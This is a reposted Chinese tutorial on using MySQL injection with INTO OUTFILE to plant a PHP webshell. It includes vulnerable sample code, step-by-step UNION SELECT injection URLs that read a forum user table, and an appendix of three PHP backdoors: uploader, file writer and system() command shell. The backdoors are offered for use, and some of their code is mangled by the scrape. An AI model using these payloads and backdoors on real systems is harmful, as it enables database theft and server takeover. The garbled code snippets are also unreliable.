MySQL注入中导出字段内容的研究通过注入导出WebShell

当前位置 : 首页 > 实用技巧 > 安全教程 > MySQL注入中导出字段内容的研究通过注入导出WebShell

MySQL注入中导出字段内容的研究通过注入导出WebShell

来源:互联网 作者:脚本宝典 时间:2015-07-26 18:09
最大的局限就在这里——插入数据,所以我们只能从程序现有的功能入手,其实很多程序都可以提交评论、留言、帖子等,就看程序是怎么把变量插入数据库的。其实道路就在我们身边
最大的局限就在这里——插入数据,所以我们只能从程序现有的功能入手,其实很多程序都可以提交评论、留言、帖子等,就看程序是怎么把变量插入数据库的。其实道路就在我们身边,靠我们自己去开辟。 
  不用多说,先看在本地测试的一个简单例子,建立一个表,结构如下: 
CREATE TABLE `article` ( 
 `articleid` INT NOT NULL AUTO_INCREMENT , 
 `title` VARCHAR( 200 ) NOT NULL , 
 `content` TEXT NOT NULL , 
 `visible` INT DEFAULT '1' NOT NULL , 
 PRIMARY KEY ( `articleid` ) 
); 
  浏览文章的文件show.php如下: 
<?php 
$servername = "localhost"; 
$dbusername = "root"; 
$dbpassword = ""; 
$dbname = "injection";  
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 
$sql = "SELECT * FROM article WHERE articleid=$id and visible=1"; 
$result = mysql_db_query($dbname,$sql); 
$row = mysql_fetch_array($result); 
if (!$row) { 
  echo "该记录不存在"; 
  echo "<p>SQL Query:$sql<p>"; 
  exit; 
} 
function html_clean($content){ 
  $content = htmlspecialchars($content); 
  $content = str_replace("\n", "<br>", $content); 
  $content = str_replace(" ", "  ", $content); 
  $content = str_replace("\t", '    ', $content); 
  return $content; 
} 
echo "<title>".$row['title']."</title>"; 
echo "<b>标题:</b>".htmlspecialchars($row['title'])."<hr>\n"; 
echo "<b>内容:</b><p>".html_clean($row['content'])."</p><hr>\n"; 
echo "SQL Query:$sql"; 
?> 
  游客提交文章的文件add.php如下: 
<? 
$servername = "localhost"; 
$dbusername = "root"; 
$dbpassword = ""; 
$dbname = "injection";  
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 
if ($_POST['action']=="add") { 
  if ($title=="" or $content=="") { 
    echo "您还没有填写完表单。"; 
    exit; 
  } else { 
    $sql="INSERT INTO article (title,content,visible) VALUES('$title','$content','0')"; 
    // 如果 visible 字段为1 ,则表示显示此文。 
    // 由于是游客提交的,肯定是插入0,管理员审核后更新为1。 
    mysql_db_query($dbname, $sql); 
    mysql_close(); 
    echo "您已经提交完毕,正在等待管理员审核。"; 
    exit; 
  } 
} 
?> 
<form action="add.php" method="POST"> 
文章标题:<br><input name="title" type="text" size="50" maxlength="100"><p> 
文章内容:<br><textarea name="content" cols="50" rows="15"></textarea><p> 
<input type="hidden" name="action" value="add"><input type="submit" value="提交"> 
</form> 
  很多程序都是直接把用户的数据插入数据库中,需要调用的时候再用函数来处理,就像上面的show.php一样。这样给我们造就了一个机会,就是把我们的WebShell原封不动的写进数据库,很少有程序是将变量处理后才插进数据库的,VBB都是直接放。 
  我们访问add.php提交我们的代码进文章内容,此时文章是隐藏的,我们怎么知道那篇文章的id呢?其实很简单: 
http://127.0.0.1/injection/show.php?id=2 
# 这样是浏览正常文章,如果文章不显示,几时存在也会提示不存在。 
http://127.0.0.1/injection/show.php?id=2/* 
# 这样可以注释掉visible字段的判断,则可显示被隐藏的文章。 

  注意看上图的SQL Query那里,只要我们注释掉后面的判断,就可以改变id来找我们的文章了,刚才我们是提交了完整的代码,这个代码是我写的一个小型上传型后门,可以上传任何类型的文件到该脚本所在的目录,但大小不能超过php.ini里的设置。 
  现在代码已经写入了,现在开始构造我们的into outfile语句了,只要构造正确,我们的导出文件就会乖乖的躺在预定目录里,至于如何找到web绝对路径,如何找到有可写权限的目录,不在本文讨论范围,相信这些也难不到大家。提交: 
http://127.0.0.1/injection/show.php?id=2 into outfile 'f:/www/1.php'/* 
  返回如下提示: 

  看到了吧?SQL语句是正确的,尽管出现了错误提示,但只要目录存在并可写,那文件就一定已经被导出: 

  我们上传的后门也正常执行了,因为php代码并没有被破坏。退一步来说,就算表单的引号被破坏了,我们还是可以在本地构造表单的。 

实例 
  相信大家看到这里已经对通过注入导出WebShell已经有点认识和思路了。上面是一个最简单的,最顺畅的一个例子。看似条件苛刻,实际无处不在,看似简单,实际发挥空间很大,如果灵活运用,危害是不小的,下面就看一个更实际的例子,可以看作是一次完整的渗透测试。 
  由于我现在不能上网,我就在本地搭建一个和http://www.4ngel.net一摸一样的站点来进行渗透,所有数据库和文件都和网上一样,文章和论坛共用一个数据库,都是我前天备份下来的。我现在去掉了showarticle.php文件中的对于$id过滤的代码。形成一个有漏洞的站点(有点委屈了,55555)。 

注意:当前环境是magic_quotes_gpc = Off,有些程序做对输入的变量做了处理,比如VBB,所以gpc打开或关闭无所谓。 
  整个站点没有提交文章、留言、评论的地方,我们不能从站点上提交我们的代码,幸好,有一个论坛,呵呵,很多地方是可以提交我们的数据的,帖子、签名等,我们就把WebShell的代码写在签名里吧。 

  然后我们就可以通过文章页面的注入点跨表查询签名的内容,然后导出来,有了WebShell,就算有safe_mode阻拦,但我们要渗透服务器,是基本没有问题的。看上面的第5幅图就知道了,文章查询的是5个字段,我们现在就用union联合查询,关于union联合查询在我的《SQL Injection with MySQL》中已经说得很清楚了,这里不再阐述。我们在union之后的查询中,也指定5个字段“1,1,1,1,1”,查询user表中angel用户,userid为1,如果构造正确,用户存在。页面会正常返回: 
http://127.0.0.1/showarticle.php?id=25' union select 1,1,1,1,1 from user where userid=1/* 

  我们看看是否真的能查询到论坛的签名的内容,刚才看到出错的SQL语句,知道查询文章内容(content)的字段是第5个,签名的字段名是“signature”,我们把第5个1换成“signature”,然后给前面的$id指定一个不存在的值,这样就可以在原来显示文章内容的地方显示签名的内容了。构造: 
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1/* 

  嗯,查询成功,开始导出吧,我本地的Web目录是f:/www,这个我是知道的,呵呵,至于大家实际运用的时候,如何获取Web绝对路径,不要来问我。 
  紧接着刚才我们构造的语句,在后面加上into outfile吧,提交: 
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1 into outfile 'f:/www/angel.php'/* 
  嗯,出现错误提示了,不管他,反正我们语句没有构造错,而且我的F盘是Everyone完全控制的。自然我们的angel.php也出来了: 

  看似复杂的东西,实际上是好容易掌握的,最主要是灵活性,程序的代码各异,加上php的特性,利用的办法就多种多样了,不过有一点是要注意的,就是如果要导出数据,单引号一定不能被破坏,可能来自程序代码,可能来自magic_quotes_gpc,只要单引号被破坏了,成功率几乎是零了。 
  请各位不要用安全天使的站点来练手,既然这篇文章是我写的,我的站点就不会存在这种问题了。 
后记 
  希望本文能起到抛砖引玉的效果,其他更深层的技术,就靠大家自己去探索了,如果本文有什么错漏的地方或对本文有不明白的地方,可以到安全天使的论坛与我交流。下面附上一些我写的、也经常用到的php后门,由于当时才刚学习php不久,下面的代码可能问题很多,如果想用功能更加强大php后门。建议下载我开发的phpspy。 
PHP上传型后门 
<?php 
// Codz by angel ACTION="" METHOD="POST">  
<input NAME="MyFile" TYPE="file">  
<input VALUE="提交" TYPE="submit"></form> 
PHP文件生成型后门 
<?php 
// Codz by angel){  
[email protected]("".$_POST['filename']."","wb");  
  $content = $_POST['filedate']; 
[email protected]($fp,$content); 
  if ($fw) {  
    echo "<b>恭喜,写入文件成功!</b><a href="http://www.hack58.net/Article/html/3/7/2008/.$PHP_SELF.">返回</a>";  
    exit;  
  } else {  
    echo "<b>写入文件失败,是不是权限的问题?</b><a href="http://www.hack58.net/Article/html/3/7/2008/.$PHP_SELF.">返回</a>";  
    exit;  
  }  
[email protected]($fp); 
} 
?> 
<form action="" method="post"> 
保存的文件名(如:<font color="#FF0000">angel.php</font>):<br> 
<input type="text" name="filename" size="60"> 
<p> 
文件保存在:<br><?=str_replace('\\','/',dirname(__FILE__))?> 
<p> 
文件内容: 
<br><textarea name="filedate" cols="60" rows="10"></textarea><br> 
<input type="hidden" name="action" value="create"><input type="submit" value="保存"> 
</form> 
<b>注意:当有相同的文件存在时,将完全改写其内容!</b> 
执行命令型后门 
<?php 
// Codz by angel method="post"> 
命令:<br> 
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?>> <input name="submit_btn" type="submit" value="执行"></p> 
执行结果:<br> 
<textarea cols="80" rows="20" readonly><?phpif ($command) { system($command);}?></textarea><p> 
注意:在windows主机部分命令可能有限制</form>


Tag:
网友评论

<